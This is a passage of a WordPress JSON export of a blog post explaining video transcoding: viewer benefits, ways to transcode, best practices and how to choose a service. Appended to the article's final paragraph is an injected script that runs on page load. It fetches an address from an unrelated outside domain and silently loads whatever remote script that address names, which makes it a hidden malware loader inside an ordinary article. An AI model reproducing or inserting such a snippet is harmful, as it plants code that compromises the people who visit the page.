viewing content. While in many parts of the world, users have access to high-speed internet and can view content just like that. But there are regions where internet speed is quite low and streaming online videos takes time. Transcoding solves this problem by offering content in various formats and qualities, ensuring that viewers with different devices and internet speeds can access their streams.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Transcoding_Benefits_for_Viewers\"><\/span>Transcoding Benefits for Viewers<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul>\n<li aria-level=\"1\">\n<h4><span class=\"ez-toc-section\" id=\"Adaptive_Streaming\"><\/span>Adaptive Streaming<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Transcoding supports adaptive streaming i.e. it adjusts the video quality in real-time. This is particularly beneficial for viewers with varying internet speeds and who dynamically switch between devices with different resolutions.\u00a0<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\">\n<h4><span class=\"ez-toc-section\" id=\"Less_Buffering\"><\/span>Less Buffering<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Viewers with poor internet bandwidth can immensely benefit from transcoding or areas where network congestion happens. Transcoding provides multiple bitrates and resolutions, thus minimizing buffering during streaming.\u00a0<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\">\n<h4><span class=\"ez-toc-section\" id=\"Improved_Accessibility\"><\/span>Improved Accessibility<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">A significant advantage of using transcoding is that closed captions and subtitles can be added as the transcoding process happens. Even alternative audio tracks can be transcoded into videos which expands the accessibility of the content to a broader audience.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_Can_you_Transcode_your_Videos\"><\/span>How Can you Transcode your Videos?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Transcoding is accomplished with the help of a transcoder which could be in the form of a streaming server or a cloud-based transcoding platform. There are 3 ways in which you can transcode your videos. Let\u2019s take a look at each one of them:<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Using_Video_Platforms\"><\/span>Using Video Platforms<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">One of the simplest ways is to use a video platform for transcoding. You just need to upload your video and the platform will create multiple qualities of the video. These services usually charge some fee for this conversion. With this option, you have no control over quality and price.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Go_for_On-Premise_Transcoding\"><\/span>Go for On-Premise Transcoding<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Building your own transcoder can also be a good option if you want to have complete control over the cost and quality. You can purchase or rent servers, install transcoding software, and do video processing in-house. In this model, you get the flexibility to customize transcoding settings as per your requirements. It is suitable for large-scale processing.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Leverage_Cloud-based_Transcoding_Services\"><\/span>Leverage Cloud-based Transcoding Services<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">This is another good option when you don\u2019t want to deal with the complexities of the transcoding process. Simply choose a reliable cloud transcoding service, upload your video, and set the desired parameters. Once completed, you can download the transcoded file. The pricing structure of cloud services is often based on factors like file size, duration, and resolution.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The biggest advantage of cloud services is that they are highly scalable and cost-effective. Some useful and popular cloud-based transcoding services are <\/span><span style=\"font-weight: 400;\">Amazon Elastic Transcoder, Azure Media Services, and ImageKit.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"5_Best_Practices_for_Video_Transcoding\"><\/span>5 Best Practices for Video Transcoding<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4244 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/Best-practices-for-transcoding.jpg\" alt=\"Best practices for transcoding\" width=\"687\" height=\"407\" \/><\/p>\n<p><span style=\"font-weight: 400;\">The ultimate goal behind any video transcoding process is to deliver high-quality content that\u2019s compatible across diverse platforms and devices. One must adhere to some best practices for video transcoding to achieve this goal. Here are the 5 most useful ones:<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Implement_Two-Pass_VBR_Encoding\"><\/span>Implement Two-Pass VBR Encoding<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Variable Bitrate Encoding allows the bitrate of video content to change dynamically adapting to the complexity of the video every single second. This results in a higher quality of video content at a smaller file size. The process of 2-Pass VBR encoding involves 2 steps &#8211;\u00a0<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">In the first pass, the video content is analyzed to determine a suitable bitrate<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">In the second pass, the video is encoded based on the information gathered in the first step.<\/span><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">2-pass VBR Encoding ensures smooth playback by adjusting the quality based on the viewer&#8217;s internet speed.<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Understand_Your_Output_Requirements\"><\/span>Understand Your Output Requirements<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">When producing video content, it is important to know your audience and the devices where your content will be viewed. Accordingly, you should research the technical specifications and the recommended settings such as video formats, codecs, resolutions, and bitrates for the target platforms and devices.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Use_Hardware_Acceleration_for_Fastened_Transcoding\"><\/span>Use Hardware Acceleration for Fastened Transcoding<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Hardware accelerators are specialty-designed hardware components such as GPUs and DSPs that expedite the process of video transcoding. The process works by offloading some specific tasks to the hardware components (like some calculations that can perform better than the CPU). This results in improved efficiency across the board. Make sure to check the compatibility of the hardware with the software beforehand.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Use_Adaptive_Bitrate_Streaming\"><\/span>Use Adaptive Bitrate Streaming<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Also called ABR, it allows the video content to adapt to the varying network conditions in real-time. This helps in optimizing the viewing experience of the users. In the ABR technique, the video gets broken into small segments and each segment is encoded into multiple quality levels. For each segment, an appropriate quality level is selected as per the user\u2019s current network conditions.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Use_Bitrates_and_Resolutions_Wisely\"><\/span>Use Bitrates and Resolutions Wisely<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Your choice of bitrate and resolution will decide the balance between the quality of the video and file size. Therefore keep in mind the type of content and your target audience when selecting the bitrate and resolution. Suppose you are streaming high-motion video content, then you should certainly go for a higher bitrate and resolution so that details are captured. When it comes to static scenes, a lower bitrate and resolution will work just fine.\u00a0<\/span><\/p>\n<p><b><i>Pro Tip &#8211; <\/i><\/b><i><span style=\"font-weight: 400;\">Avoid scaling up and streaming at a higher resolution than your original video source. For instance, the capturing is at 720p and you decide to stream at 1080p. It will not enhance the quality, rather you will end up using more bandwidth than is necessary for you and your viewers.<\/span><\/i><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Considerations_for_Choosing_a_Transcoding_Service\"><\/span>Considerations for Choosing a Transcoding Service<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">With all that we have learned now about transcoding, the obvious question that comes to mind is &#8211; How to choose the best transcoding service? Let\u2019s make the job easy for you. Just consider these 2 aspects when you are selecting the ideal transcoding service:<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\"><b>Decide Between a Cloud Solution and a Software<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">If you want things to be simpler, more secure and to work faster, then opting for a cloud transcoding solution (hosted in the cloud) might be the better choice. However, if you have a private network with suitable infrastructure, then transcoding software would be the ideal fit for you.\u00a0<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\"><b>Consider the Type of Digital Media You are Transcoding\u00a0<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">A language translator understands different languages each of those having their own words and rules and converts them into different languages understood by the recipient. Transcoding works similar to that of a translator but for media files. Just like languages, audio, and video files have their own types and rules. A good translator should be versatile enough to handle different types of audio and video files.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Key_Takeaway\"><\/span>Key Takeaway<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Hopefully, I have covered most of your questions regarding transcoding, especially if you are a beginner in the field of video streaming. The number of digital video viewers worldwide is expected to reach <\/span><a href=\"https:\/\/www.statista.com\/statistics\/1061017\/digital-video-viewers-number-worldwide\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">3.5 billion.<\/span><\/a><span style=\"font-weight: 400;\"> In 2023, people are watching, on average, <\/span><a href=\"https:\/\/www.wyzowl.com\/video-marketing-statistics\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">17 hours<\/span><\/a><span style=\"font-weight: 400;\"> of online videos per week. With these statistics, it is evident that the role of Transcoding is certainly revolutionizing video consumption and delivery.<\/span><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Did you know that \u201cYouTube processes over 500 hours of video every minute\u201d, watched by users on screens of all shapes and sizes? But who is the \u2018Behind-the-Scenes\u2019 Magician that makes this seamless playback across devices possible? Let&#8217;s give a thought to the famous saying of Steve Jobs &#8211; &#8220;Technology is nothing. What&#8217;s important is [&hellip;]<\/p>\n","protected":false},"author":19,"featured_media":4242,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[106],"tags":[],"class_list":["post-4213","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-telecom"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4213","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=4213"}],"version-history":[{"count":11,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4213\/revisions"}],"predecessor-version":[{"id":6411,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4213\/revisions\/6411"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/4242"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=4213"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=4213"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=4213"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}